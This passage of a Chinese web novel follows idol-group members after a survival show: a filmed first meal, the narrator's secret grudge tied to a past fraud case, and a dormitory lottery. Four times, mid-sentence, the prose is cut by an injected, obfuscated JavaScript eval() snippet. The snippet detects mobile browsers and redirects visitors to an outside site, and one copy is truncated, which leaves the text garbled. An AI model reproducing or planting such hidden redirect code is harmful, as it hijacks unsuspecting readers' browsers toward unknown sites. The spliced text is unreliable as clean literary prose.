而意料之中地,叶游坐在了宁郁寒的另一边,只是“贴心”地中间空了一个位置出来——这个空出来的位置的含义不言而喻,但总归不是太坏。 于是没有选择余地的蓝鸢便坐到了这两人之间,正对面恰恰是沈艾初——他对着沈艾初眨眨眼,沈艾初顺势端起手边提前放在桌上的甜点盘,递到蓝鸢面前,示意他挑两个。 蓝鸢很配合,拿了块小饼干。 ——这大概就会是……接下来一小段时间里,粉圈对于糊人“真实亲疏关系”的判断依据了。蓝鸢一边吃饼干一边想。 “好好吃的饼干,”而明面上,他只是笑了起来,“这个叶子形状的饼干味道特别好,小艾你也可以试试。” “好呀。”沈艾初说,也拿了一块同样形状的嚼了起来。 ——不过,虽说如今的座次依然不乏表演痕迹,但实际上和队里的人际关系定位也大差不差。 至少用来判断蓝鸢的人际关系亲疏是没有大问题的。 此刻他左右和对面的这三个人,确实是蓝鸢定义里的“队内朋友”……虽说他和沈艾初的真实模式不是观众认知中的“待在一起都会变可爱的年下组”,和宁郁寒关系没有镜头前那么亲近,和叶游也没有什么“对做室友蓄意已久”的双向执念。 但即使微妙、即使没那么熟、即使普通、即使在镜头前全是表演痕迹、即使有所保留、即使真心不太多,即使这几个人都不一定没做过对蓝鸢不利的事,但总归勉强算得上朋友,毕竟完全没朋友不是好事。 至于剩下三人…… 主观来说,蓝鸢希望他们今天就退团。 9. 陈年往事1.0 只不过,就算是“希望退团”的关系,也有个愿望的强弱顺序。 像是竺明若,抛开隐婚生子这个不算队内最严重的雷,蓝鸢不喜欢他也仅仅只是因为这人不喜欢自己,加上品性不太好、公演同组的时候做很多小动作坑过队友,两人之间并不存在深仇大恨。 又像是任淮,蓝鸢觉得他心机很多,品性同样有问题,总有哪天会坑自己;除此之外,蓝鸢翻到了他在韩国做练习生时期的外网小号,发现这人和几个如今已经进去了的黑料咖艺人有些交情,所以觉得多少有点危险。 但简旋安又不一样。 简旋安同这两人恰恰相反,品性和个人作风上其实挑不出来太大的问题,虽说是富二代,但没有任何富二代的架子。蓝鸢不喜欢他,纯粹是出于“私人恩怨”。 或者说是……单方面的私人仇恨。 事实上,在他们的关系从赛程前半期的还算朋友,到后半期急转直下、蓝鸢单方面冷落对方的整个变化过程中,身边人当然都能发现不对劲,于是也有人试图问过蓝鸢是怎么回事。 被问到这种问题时,蓝鸢一般都眨眨眼,摇摇头,欲言又止,然后让对方去脑补——脑补出什么他不关心,总之会问这个问题的人肯定都会给自己找足够的理由,比如说简旋安做了一些对不起自己的事,而自己难以启齿。 蓝鸢在外的形象足够好,所以几乎没人会觉得是他的错——当然也并非是他的错。 至于疏远的真相……他只给祁心忱说过实话。 同其他人不一样,祁心忱从未问过“为什么要断崖式疏远简旋安”这个问题,这个答案是蓝鸢主动说的。 时间是三公前两天,两位室友打架、他跑去祁心忱宿舍住的那天晚上。 * 在选秀节目里,不仅练习生们需要住三个月宿舍,导师组在录制基地也同样会有一个“宿舍”,只是他们并非天天都住——录制基地周边也有酒店,但三个月里,周边的酒店中都会有大量的站姐和代拍蹲守,如果录制太晚,住基地内往往是更合适的选择。 而这个“导师组宿舍”,其实就在练习生宿舍楼的顶层。每个人的都是单人间,内部布置得很不错,和酒店没有太大的区别。 只是……蓝鸢抱着自己的背包,跟在祁心忱身后从站姐们的拍摄区路过,和粉丝打过招呼,又跟着进了祁心忱房间,路上还回自己宿舍拿了用于换洗的另一套训练制服和睡衣,这才后知后觉地意识到——这是单人间,显然也只有一张床。 蓝鸢并不是第一次来祁心忱房间,但以前都是白天,脑子里多少没有意识到这点。 他顿了顿,思考要不要主动提“还是回去睡吧”——毕竟跟上来就显得很奇怪,很名不正言不顺,即使是祁心忱主动提议的。 只是没等蓝鸢脑内主观意愿和理性分析的交战打出结果,祁心忱就先开口了,并抛给他了新的二选一,硬生生将蓝鸢的纠结按了回去。 “这里刚好有多余的被子,可以一人睡一床被子……不过如果你介意的话,我去睡沙发也可以,那个沙发和床也没有太大的区别。” “……我不介意。”蓝鸢咬了咬舌尖,试图用一种很平淡的、普通的语气说,“麻烦你了。” “嗯。”祁心忱又笑了起来,“那我收一下东西,你可以趁现在去洗漱之类的。” 蓝鸢点点头。 事实上他觉得这种情景有些……奇妙,准确说来,即使是走出浴室的一刻,他依旧没有特别准确猜到祁心忱抛给他这个“可以不回宿舍睡觉”的选项的本意。 或许是觉得那个宿舍会让自己心烦,又或许是觉得见到二顺第一的沈艾初同样会让自己不开心,再或者是知道自己此刻难免会被一些混乱的、过往的回忆烦恼,而和祁心忱待在一起总归会抑制这种情绪的疯狂滋生。 ——会是最后一种目的吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437658|184969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蓝鸢又问自己,如果有这种意味在,那祁心忱是不是也对自己心中正暗暗生长的、不太应该有的情感有所察觉或猜测呢? 直到蓝鸢走出浴室,他都在思考这个问题,并且没有想出答案——只是他知道,无论答案是哪一种,他都不可能因此减少和祁心忱的交际。 只要死不承认就是了。祁心忱很宽容,也很信任他,不会一直追究下去的。 如此想着,蓝鸢抬起头,看祁心忱坐在床边,举起手上的吹风对着他挥了挥。 于是顺理成章地,蓝鸢走过去,坐到他面前,等祁心忱帮自己吹头发——接着又想起了他们第一次见面的那天。 当时祁心忱也是如此,不过还专门问了他一句“需要我帮你吹吗”。 只是那时候蓝鸢对对方的唯一情绪只有“防备”两个字。他脑子里先是闪过那条祁心忱的前队友开直播信誓旦旦说“他就是个同性恋”的旧娱乐新闻,又想到论坛上对这人家里有各种大背景的猜测,再联想到他们只是第一天认识—— 种种因素叠加之下,很难不觉得对方不怀好意。 因此当时的蓝鸢拒绝得很干脆,并且在物理意义上和祁心忱保持着一段距离。 只是到此刻,那些或谣言或毫无根据的想法已经被了解所击破,祁心忱不再是需要防备的对象,蓝鸢便没有什么心理负担地接受了对方的好意。 “对了,我昨天听简旋安说了他们家的发家史,”吹风机的声音不算太响,于是蓝鸢又抬起头,试图找一点话题闲聊——或许也不算闲聊,“他顺便提到了他们家当年公司的名字,我觉得耳熟,所以去查了一下……” 蓝鸢说到这里停了下来,接着给祁心忱报了个名字。 “嗯,我知道了,”祁心忱点点头,顿了两秒,意料之外地,直接跳过蓝鸢接下来准备展开的说辞,问出了按理来说应该出现在一分钟后的问题,“那你想去曝光这件事吗?” 10. 陈年往事2.0 “我不想。”蓝鸢摇了摇头,说出了早就准备好的答案,“一方面是我暂时在网上查不到他和……那家公司的联系,我只有他说这话时的录音,但会暴露我自己。” “嗯,意料之中,”祁心忱点评,“见不得光的发家史肯定要尽可能藏好的……另一方面呢?你想亲自说吗。” “确实,”蓝鸢点点头,又承认,“是的——是想亲自说。” ……只是我现在还是一个普通的、参加选秀节目的、缺钱的练习生,并没有什么影响力、也没有超级强大的后盾,此时此刻跳出来并不是最明智的选择。这是蓝鸢没说完、但两人都能明白的后半句。 * 蓝鸢的父母是在他两岁那年先后去世的,死因是一方自杀、另一方激动过度急病发作。 蓝鸢那会年纪太小,还不记事。但他后来从比自己大了八岁的哥哥处、家里的各种文字材料、以及互联网上的报道中拼凑,也能知道事情的来龙去脉。 简而言之,自杀这事并不是由于精神疾病,而是家里欠了太多钱——至于欠款的根源,则是被诈骗了八位数。 蓝鸢长大之后,才逐渐了解到,那事在当年也算个大案。 涉事人员很多、交织成了一张巨大的网络。受害者更多,许多家庭因此受到影响。最后的侦破和处理花了很多年,他和哥哥作为无数受害者家属中的普通一员,也提供了一些文字材料。 实际上,蓝鸢对于“父母”并没有什么印象。家里有照片,他每次看到,就算知道不应该如此,也完全生不出什么名为“亲切”的感情。 不过即使这样,在小学的那些年里,他也将那些报道和能拿到的信息读了很多遍,读到对于其中出现的人名、公司名、日期和涉事金额比对父母的长相还要熟悉,然后一遍一遍提醒自己,这些都是你需要一生恨下去的人事物。 只是后来,蓝鸢就没再那么经常回去翻那些文字材料了。因为无论是学业还是副业,他也算渐渐忙了起来。 虽然案子结了,但是还是有一部分欠款需要他们自己还。哥哥读书不好,所以早早进入社会工作,蓝鸢学习还不错,于是尽可能用着最小的开销上学。 再后来,上初中后,蓝鸢被班上同学推举去校歌赛,在和一众比自己年纪大的同学的“对局”之中一战成名——于是有对他家境稍微有点了解的好心同学,私下建议他录一段传到互联网上,说不定能拿点视频激励之类的收入。 ——这就是蓝鸢做网络唱见的起源。 他的id叫“迟筝”,“迟”是“迟来”的意思,“筝”则是为了圆那个“蓝鸢和蓝色鸢尾花无关”的谎话,而联想到的一个和“鸢”相关的字。 他传的第一个视频非常简陋。当时的蓝鸢还在用哥哥淘汰的、异常卡顿的旧手机,于是录音用的同学的手机,后期是靠着同学随意点了几下,上传网站则是一起去的学校旁边的黑网吧,三块钱的网费还是同学给他垫付的。 那天蓝鸢在校门口对着天空的云随意拍了一张照片,并将其作为了那个一图流翻唱视频的底图。 但就这样一个简单的视频,恰恰就来了莫名的热度,也给他带来了意料之外的一点收入。 于是账号就被他运营了下去。一段时间过后,蓝鸢逐渐能接到一些广告曲,或者是能有小报酬的线上活动,接着就是学写歌、也学别的不露脸唱见那样约人设图,还小规模发了张实体ep,有不少粉丝买,里面每首歌都是自己写的。 事实上,他第一次接到商业曲邀请时还有点担心,犹豫着问了一句“我是未成年会不太好吗”,而对面给他回了个“有些养成系偶像比你还小不也在当童工”,于是蓝鸢就逐渐没有了顾虑,放心地靠这个账号得到更多收入。 再后来,他算是对音乐有了一些不知道是“过高的天赋”还是“真心”带来的兴趣,也非常有幸没有在缺乏保护喉咙意识的变声期唱坏嗓子,甚至攒了一笔钱—— 一笔不算多、但足够协助他哥一起还完拖了十几年的欠债、还能让自己没什么负担地走艺术生道路的钱。 生活本来应该这样一点点好起来的。 ……如果不是哥哥在打工的那些年认识了一些狐朋狗友、染上了赌博和酗酒的坏习惯的话。 * 但总之,虽然那些名字对蓝鸢而言已经没有那么清晰,简旋安无意间说出的名号依然给他带来了巨大的熟悉感。 ——蓝鸢抱着“最好不要如此”的心态,去自己的网盘文件夹里查询,又结合简旋安无意识透露出的细节,最终确认了……他口中的“我们家以前的公司”,确实出现在了那个名单之中。 即使和蓝鸢家的事没有直接相关,但也是那个错综复杂的链条之上不可或缺的一环。 蓝鸢不确定在那之后发生了什么、能让简旋安非常幸福地生活到今天,甚至能毫不在意地谈论起本应该讳莫如深的、灰色的名字。 以一种无辜、单纯、看上去一无所知的模样。 出事那会太早,这人也没有上小学。蓝鸢唯一能给出的答案,也只是简旋安自己都不完全知道真相。 至于他的家人是如何全身而退……或者说,有哪些家人从其中全身而退,以及他的家庭关系是怎样的,蓝鸢没有确切的猜想,也不可能再去问他本人。 ——即使简旋安在此事中真的无辜,蓝鸢也做不到再用平常心对待他了。 后来,蓝鸢为此事还隐隐发愁了一阵,不知道应该怎么处理这段关系比较自然。只是没过多久,就有上好的枕头递了上来。 他和简旋安在三公第一轮是同组。他们组top汇聚,二顺录完之后12个人剩了10个,需要内投选三个人踢出去——那首歌vocal难度极高,没蓝鸢整个舞台都会效果打折,于是他顺理成章在内投中拿了第一,而二顺排第二的简旋安意外被投去了别的组。 再后来正片播出,他们组的内投不出意外成了“男团学”素材。网友们开始逐字逐句分析每个人的发言,各种节奏齐飞,分析到最后矛头莫名其妙转到了蓝鸢身上,说蓝鸢在这个队里隐隐约约拉小团体,而简旋安被他嫌弃歌舞双废,因此成为了被排挤出去的对象。 这种节奏再正常不过。只是蓝鸢当时灵机一动,去找简旋安当面质问是不是他原生公司下的通稿。简旋安一开始很无辜说不知道,过了几小时大概是回去查证了,又跑来承认了,找蓝鸢道歉——于是蓝鸢趁此机会和他吵了一架,并将其作为了冷处理这人的开端。 很多人都知道他们吵架。 练习生们的原生公司互相拉踩是很正常的,但即使简旋安觉得蓝鸢不会因为这种小事而同他决裂、也不可能将吵架的起因说出去。 * 不过在蓝鸢住在祁心忱宿舍的那天晚上,他和简旋安的明面决裂尚且没有发生。 “我看看能不能帮你调查一下,找多一些线索,不过不一定行。”祁心忱眨了眨眼说,“如果你介意的话,不和他相处也没关系,舆论出问题我就到处帮你带带节奏,不用担心被骂——或者想想办法让他退赛都可以,我应该也能试着操作出来。” “不用了,没必要勉强帮我,”蓝鸢又抬起头看他,“有你这句话我已经很开心了——不需要麻烦你,我自己会想办法解决的……而且这事也只应该我自己来解决。” 事实上,祁心忱的后半句并没有派上用场。蓝鸢赛时舆论环境不算好,但这事确实没被审判,或许是因为赛程后半期他和简旋安再没同组过,本来就很少在镜头前同框。 至于前半句……蓝鸢说的“勉强”也是真心话。 虽然祁心忱这人有个特点是喜欢在互联网上拱火,比如前队友塌房他跳出来阴阳怪气之类的,平日里看起来也不怕得罪人,因此被很多论坛网友猜是不是有什么背景—— 但蓝鸢这时已经知道,他家其实……只能说家境比大多数人好,但真和“背景”两个字毫无关系。 祁心忱父母一个在中学上班、一个在大学上班,有个双胞胎妹妹在国外读phd,客观来说能算上“中产阶级”,比蓝鸢的家境好了无数倍,但和论坛猜的那些东西确实差了挺远,权势之类的一概没有。 蓝鸢知道后,倒是也顺口问过一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437659|184969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 句“那你怎么敢整天乱说话的”。 “我明明说实话,什么叫乱说话,”祁心忱辩解了一句,最后才笑起来说,“那我如果真要被封杀了,公司总得出面保护我吧?” “啊。”蓝鸢愣愣地应了一声,这才后知后觉想起祁心忱并不是他这种一个人“勇闯娱乐圈”的,而是真签了个……还算大公司。 祁心忱在的公司叫临路传媒,是国内影视行业数一数二的大型娱乐公司,只是并没有偶像部门。 蓝鸢稍微考古过,知道祁心忱刚参加选秀时,还因为这个归属,被很多人认为是要力捧的对象——结果没想到临路就当完全没这个员工一样,没镜头不救,被做票也不救,热搜不买,黑热搜不压,完全个人练习生式处理,到最后大家都快忘了他还签了公司了。 “临路还管你啊?”于是蓝鸢也问。 “出大事了会解决的,临路的母公司不是个很大的家族企业嘛,他家儿子是我好朋友,”祁心忱说,“放心好了——对了,如果你想来的话也可以,他们平时不管我是我让别管的,你想要资源也会有的,我给他说一声就好。” “暂时还没想过签公司这事,”蓝鸢实话实说,又问,“……你怎么这么多好朋友。” “嗯,”祁心忱发出了一个音节,像是在思考般,过了几秒才说,“其实也没有很多,就那几个。” “哦。”蓝鸢闷闷地回了一句,“那也有几个。” 祁心忱确实社交力很强,蓝鸢不得不承认这点。他就算经常说话得罪人,也不妨碍朋友很多,所以才能说出帮自己调查这话。 只是蓝鸢总归不太喜欢听这个事实。 “你也算是呀,”当时的祁心忱只是笑起来说,“如果你想的话。” 蓝鸢岔开了话题,没说想、也没说不想。他只是觉得“好朋友”这种词汇太普通了,即使当时并没有真正想明白原因,他也知道不想在祁心忱那里成为某种带前缀的“之一”。 只是这话不适合说出口——太越界了,越界过头了。 蓝鸢轻轻晃了晃脑袋,将自己从那段前些日子的对话拉出来,又接着问:“不过没想到,你连这些事都知道啊。” ——这些事当然指的是……蓝鸢家涉及的案子的细节。毕竟,除了这种解释外,祁心忱不可能还有其他对蓝鸢报出来的公司名有所反应的原因。 不过,蓝鸢本以为祁心忱对他的了解上限也只是有个喝了酒会家暴的哥哥了,只是…… “知道的,”祁心忱点点头,又说,“但如果我了解这么多会让你不高兴的话,上回说的话也可以反悔。” 蓝鸢知道祁心忱在说什么,说的是那句前不久,自己亲口对他承诺的“你可以随便找任何人打听关于我的任何事”。 蓝鸢知道自己是一个双标的人。他喜欢调查别人,但讨厌别人调查自己;只是这个“别人”换成祁心忱的话,虽然也说不上上赶着被调查,但总归可以接受、还会有点莫名其妙的……被在意的感觉。 “不反悔,你知道也没关系,”于是蓝鸢说,“只是没想到你听到简旋安的事也一点都不惊讶。” “其实挺惊讶的,”祁心忱实话实说,“但是我觉得我表现太惊讶,可能会让你情绪不愉快——我不觉得你需要我的惊讶作为回应。但如果你想知道的话,其实我在想,为什么会有这么巧的事呢。” “对啊。”蓝鸢低头,重复了一遍,“为什么会有这么巧的事呢——说起来,感觉这个吹风的风力是不是有点小啊?” 毕竟他们已经聊了一阵了,但是祁心忱还没给他吹完。 “啊。”祁心忱发出了一个短促的音节,愣了愣,反应了一会,突然就低头笑了出声,“这学期在学校住了好多天,习惯宿舍的功率限制了,所以顺手开了一档……我给你调高一点。” 蓝鸢没有回答。 一方面是他想问“真的只是顺手吗”,但又害怕是自己自作多情,所以问不出口;另一方面则是,祁心忱说完这话之后,就将吹风开到了最高档。 于是两人说话的声音便被喧闹的风声彻底淹没。 11. 抽签 “我们要不先来碰个杯吧!” 宁郁寒的声音在耳边响起。 蓝鸢这才将自己的注意力从旧事中拉扯出来,重新放回了当下进行中的Butterfly的“入住第一顿饭”之上。 在他灵魂出走的这段时间里,这顿饭的内容已经端了上来。 虽说做偶像需要注意身材管理,但是第一顿饭毕竟是摆拍,因此整体来说还算豪华。 不过蓝鸢本身也不太需要特别刻意的身材管理,他的体质是不怎么会吃胖的——倒是旁边叶游叹了口气,小声说“又得加运动了”。 “没关系,”蓝鸢说,“过两天就要开始练舞了。” “啊,”叶游长叹一口气,“那我还是更不想练舞一些——明明昨天白天还在练舞,怎么出道了都逃不掉。” 同宁郁寒一样,叶游也是他们团的rap担——选秀团非常容易出现vdr中某一个担当扎堆的情况,Butterfly也不例外,糊团加起来才七个人,就有三个rap担,剩下一个是竺明若。 如果被营销为ACE的沈艾初也算半个rap担的话,他们奇数line就可以改名叫rap line了。蓝鸢心想。 ……至于偶数line,则可以叫做蓝鸢和他最讨厌的两个队友。 不过,同为rap担,宁郁寒、叶游和竺明若也各自不同。 宁郁寒年纪虽然是三人里最小的,但却是地下rapper出身,某种意义上的“正统”;竺明若之前是一个没运营下去的糊糊男团的成员,练习生时期就被以“男团rap担”的模式培养;而叶游签的是公司的演员部,和宁郁寒一起选秀的主要目的是刷脸,刷进出道组算是意料之外的事。 既然是演员出身,没有任何舞台技能就是很正常的事,作为宁郁寒的“对照组”,初舞台的F班也确实印证了这一点。 而众所周知的是,在一个男团里,如果有人什么都不会,他就可以在门面、忙内、队长和rap担这几个定位里随便挑一挑。忙内、门面和队长都只能成团之后再议,而只要会出声就能做在大多数粉丝和听众心中“最好一个都不要有”的男团rap担。 于是顺理成章地,叶游也成了rap担。 只是作为一个目标演员、也确实演了点电影小配角的人来说,即使经历了三个月的选秀洗礼,到后期舞台表现也算还行——各种意义上靠的是蓝鸢的帮助——但叶游依旧并没有很喜欢舞台,也没有很喜欢练舞。 听他这么说,蓝鸢刚想说几句玩笑话过掉这一part——虽然这种发言肯定不会被放出去,但也很影响队里假装和睦的气氛。 只是他还没来得及开口,有人比他更早。 “那怎么行,”任淮一边笑一边说,“不喜欢更得多练呀。” 蓝鸢眨了眨眼,低头挑了一筷子肉塞进嘴里,用来掩盖自己的表情。而后他用余光看了看桌上,其他人和他的反应都如出一辙。 叶游和队里所有人关系都还不错……至少是没有矛盾。在这种大前提下,任淮的话显得很像是朋友之间的调侃,但除了恋哥癖沈艾初以外,应该所有人都知道他是随口说的真心话。 任淮在韩国训练了七八年,最终什么都没得到,而叶游只因为长了一张“演员脸”就能顺理成章进娱乐圈、什么都不会就能选秀排名比他更高……所有人都能看出任淮的内心不平衡。 当然,这种不平衡不仅针对叶游,也针对这个团里除了竺明若外的所有人。于是这会其他人都没搭他的话。 “说起来我还挺期待的,”只有沈艾初会站出来替他解围,“后天就能见到新歌了。” “希望好听点。”蓝鸢抬头回了一句,又低头继续吃饭。 有沈艾初起了话头,之前的话题被悄悄转变了方向,接着大家开始聊对于新专的展望——这确实是适合放进vlog的话题,于是大家的发言又积极了几分。 * 因为后期一直在镜头前“闲聊”,这顿饭最终吃了整整一个多小时。 吃完饭后,根据工作人员的安排,他们便按照排名顺序在沙发边坐成一排,进行接下来的环节——被并称为选秀团初期男团学两大分析素材的,分宿舍以及选队长。 蓝鸢在心中暗自计算着如果纯随机,自己和简旋安有多大概率住一间——就当是在做概率题。 不过还没算完,他的思绪就被工作人员的声音打断了。 “这里是一个关于接下来环节 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437660|184969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的指引,”那人一边说,一边给沈艾初递了一张A4大小的提词板,“小艾来念一下。” 选队长之前,由C位承担这种职责很理所当然。于是沈艾初点点头,从工作人员手中接过提词板。 “我们今年分宿舍直接采取抽签加自选的形式,”沈艾初开始读,旁边的工作人员则适时响应,拿出了一个一侧透明的箱子,箱子里是七个不同颜色的小球,“每人抽一个球,球内有一张写了一到七数字的小纸条,按照抽到的顺序,从1号开始自选,可以选择一个室友或者一个想去的房间,被选定的室友可以拒绝,被选定的房间则可以直接搬进去。” ……啊?蓝鸢愣了愣。 这是意料之外的安排。 或许确实是看清了他们微妙关系的本质,今年直接取消了小游戏环节,改成了抽签,还给了一个选室友的机会——目的非常明牌,就差直接说“关系不好的互相避开”了。 “提问,”听到这个安排,宁郁寒举手说,“那七号不就毫无意义吗?” “是的,”旁边的工作人员用一种看弱智的眼神,看向提出人尽皆知的结论的宁郁寒,然后说,“不过我们得保证所有人的参与感。” 但总归,这是件好事。 即使自己和简旋安不幸一个6一个7,相信其他队友也不会眼睁睁看着他们被留到同一间房。至少……如果有机会的话,宁郁寒和叶游都会捞自己的。 虽说蓝鸢不太想和宁郁寒住,因为即使不谈二十个嫂子的事——毕竟其他人也不见得私生活干净,宁郁寒这人多少有点缺乏边界感,白天见见面还好说,一直住一起会让蓝鸢不太舒服。 不过和简旋安一对比,这点也不算大问题。 蓝鸢于是松了口气,很放松地将手伸进箱子里,摸了一个绿色的球出来——虽然每个球颜色不同,但毕竟数字是在里面而不是表面,因此还能看着挑一挑。 这种时候,当然是挑自己应援色最好。 只是下一秒,他打开纸条,大脑又重新飞速转动了起来。 猝不及防地,纸条上是一个“1”——如果是私下选择,这绝对是头号好签,但放在镜头之下……蓝鸢如此想着,视线的余光在六位队友身上转了一圈。 12. 宿舍分配 “好了,大家都看到自己手上的序号了吗,”沈艾初的声音再度响起,“我自己没有拿到一号,那么现在请拿到一号的人对我示意。” 蓝鸢于是摇了摇手上的小纸条——接着镜头拉近,他干脆双手举起纸条,让摄像机拍了个特写。 “好的,一号是小圆呢,”沈艾初低头看了一眼提词卡,才又转过头看着旁边的蓝鸢问,“那你想选一个室友,还是选一个房间呢——如果想选房间的话,可以现在去楼上看看三个房间的情况。” “想选你。”蓝鸢眨眨眼,然后偏着脑袋开口道,“想和你住双人间,可以吗?” 沈艾初……很明显地愣了愣,似乎是完全没想到这个回应。 实际上,对蓝鸢来说,只要是双人间,那和叶游跟和沈艾初并没有太大的区别。 叶游的优点是有分寸感,性格好相处,活泼外向,沈艾初的优点是性格软,不会害他还很怕他,各种意义的很好拿捏。 总之是各有优劣。 只是……大概心中总隐隐约约的,不太想让沈艾初和任淮住一起。 实际上,虽然蓝鸢一早就看破了沈艾初的“恋哥癖”本质,也知道他和任淮是同公司的、所以理应亲近一些,但……总之跳过一系列推理步骤,蓝鸢赛时就觉得沈艾初在单恋任淮,于是直接找了个机会逼问。 而沈艾初最终承认了这一点。 只是任淮对沈艾初的态度怎么看都是知道对方心意、而后利用居多。利用他获得卖腐收益,也利用沈艾初这个自己上位方式就不干净的人的人际网,得到别的好处。 而蓝鸢本人,则抱着一种微妙的心态,不想让任淮继续实现这种目的——他不喜欢任淮,所以自然不希望这人的歪门邪道能走通。 可能其中也有一点想让沈艾初远离对方的成分在,但大概算不上主要原因。 毕竟这个“利用论”,他同样给沈艾初说过,而沈艾初不以为意。当时的沈艾初还不像现在这样被他完全拿捏,于是这人还随口反问了一句你不也是恋哥癖吗,整天绕着祁老师转。 “是个哥就喜欢的人别随便拖人下水扣帽子行吗?”蓝鸢一听,难得语气激烈,“祁心忱和这些人一样吗?” ——但总之,一个人在某些事上太一意孤行,也就不那么值得可怜了。所以虽然蓝鸢还是可怜沈艾初,但这种情绪总归是和这件事无关的。 而抛开私人情感,蓝鸢更担心的还是……被他标记为“可能是危险人物”的任淮说不定什么时候会来个大的,无论是背刺还是暴雷。而沈艾初和他走太近,恋爱脑发作跟着一起来个大的,他们团会直接爆炸的。 至于当下,在沈艾初愣神这会,蓝鸢在他们两人手之间的沙发上轻轻敲了敲—— “啊,”轻微的动静传递给了对方,沈艾初像是如梦初醒般,换上了一个看上去什么都没多想的神色,“好呀——我刚好抽到的二号,这样我们就能直接选一个房间了。” “怎么能这样,”宁郁寒说,“你们是不是作弊了,为什么能刚好抽到1和2啊?” “你不会是7号吧?”蓝鸢偏过头看了他一眼,眨眨眼问,“小郁哥哥。” 听到这个问题,宁郁寒脸上……一瞬间露出了很微妙的表情,于是蓝鸢知道他随口一句话居然猜对了。 而旁边的叶游干脆就笑了出声——在他的带领之下,大家都陆陆续续笑了起来,气氛一片和睦而热闹。 “来吧小圆,”在这样的欢乐氛围中,沈艾初站起身,对蓝鸢伸出手,“一起去看看两个房间?” “嗯。”蓝鸢点点头,以一个击掌回应了沈艾初看起来想拉手的动作,又转过头面向别的队友,“那我们就先去挑房间啦。” * 三个房间都在别墅的二楼,一楼的房间则被改成了一些别的用途,比如虽然没有那么设施齐全、但多数时候也够用的练习室和创作间,能保证他们不去公司的时候也能直接在宿舍练歌舞。 上楼的时候,蓝鸢余光瞥见沈艾初回过头,看了一眼任淮的方向——于是蓝鸢也悄悄转头,不出意料地,任淮并没有在表面上露出任何表情。 不过内心倒是不好说,估计这会正在想“蓝鸢到底要干什么”。 只是蓝鸢本人更在意挑房间这事。 两个双人间的风格还有一些差距。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437661|184969||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 虽然房间内的布局都能改,但总有些不能改动的部分。一个房间主体部分更大一些,自带了一个阳台、一个沙发,以及更豪华的浴室;另一个房间主体部分小一些,优势在于有个现成的书桌……还有一个衣帽间。 蓝鸢很喜欢这个衣帽间——倒不是因为他真的有很多衣帽需要安置,恰恰相反,蓝鸢的私服其实并不太多,每个季节都是那几件换着穿,直到长高到穿不下再买一件新的。即使正经做偶像之后需要在这方面下点功夫、好好搭配,那也只是工作的一环,并非他热衷的事。 但这个衣帽间封闭,狭长,安静,看起来……非常适合一个人待着,非常让人有安全感。更别说这个房间有高三生蓝鸢此刻最最需要的书桌。 “小艾你想选哪一个呀?”衣帽间是他们参观的最后一环,于是刚迈出房间,蓝鸢就问了一句,试图通过近因效应诱导沈艾初的选择——选择权在对方手上,直接开口可能会被观众审判。 “……就这个吧,我喜欢这个衣帽间,”沈艾初转过头笑着说,不知道是会意了还是碰巧和蓝鸢偏好一致,总之全然说出了蓝鸢的心声,“小圆你觉得呢?” “好呀。”蓝鸢眨眨眼,也笑了起来。 接着,在工作人员的指引下,他们摘下挂在房间门口的牌子,在其上顺次签下了各自的名字,就算是决定了这个房间的归属。 而完成这一切,再回到一楼的时候,就是楼下的任淮举着写了“3”的小纸条,对两人挥了挥手。 “我选择选室友,”等蓝鸢和沈艾初都坐下来后,就听见任淮说,“既然这样,那我就和明若哥两个人一起住好了。” 听见这个选择的时候,蓝鸢顿了顿。 ——任淮倒也反应不慢,同样用了那套“不经意说出想两个人住防止第三人加进来”的思路。这么一来,仅仅到三号,他们的分配就已然落下了帷幕,比理论最晚要六号才能全确定的情形早了不少。 只是…… 按现在这个分配,第一和第二住,第六和第七住,中间三人住三人间……感觉又要被怀疑是“提早随便分了宿舍然后大家走一走剧本”了呢。蓝鸢心想。 13. 初评级 但总之,接下来的步骤都过得很快。 在工作人员的暗示下,既然选择都已经确定好,所有人便光速地、和谐友爱地走完了流程,然后一同起身,以一种兴奋而期待的神态,去参观三间宿舍。 